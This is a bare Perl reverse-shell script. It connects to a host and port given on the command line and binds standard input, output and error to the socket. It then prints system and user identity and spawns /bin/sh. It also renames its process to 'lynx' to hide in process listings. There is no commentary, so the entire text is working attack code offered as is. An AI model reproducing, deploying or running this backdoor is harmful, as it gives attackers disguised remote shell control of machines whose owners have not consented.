use Socket; $cmd= "lynx"; $system= 'echo "`uname -a`";echo "`id`";/bin/sh'; $0=$cmd; $target=$ARGV[0]; $port=$ARGV[1]; $iaddr=inet_aton($target) || die("Error: $!\n"); $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n"); $proto=getprotobyname('tcp'); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); connect(SOCKET, $paddr) || die("Error: $!\n"); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); system($system); close(STDIN); close(STDOUT); close(STDERR);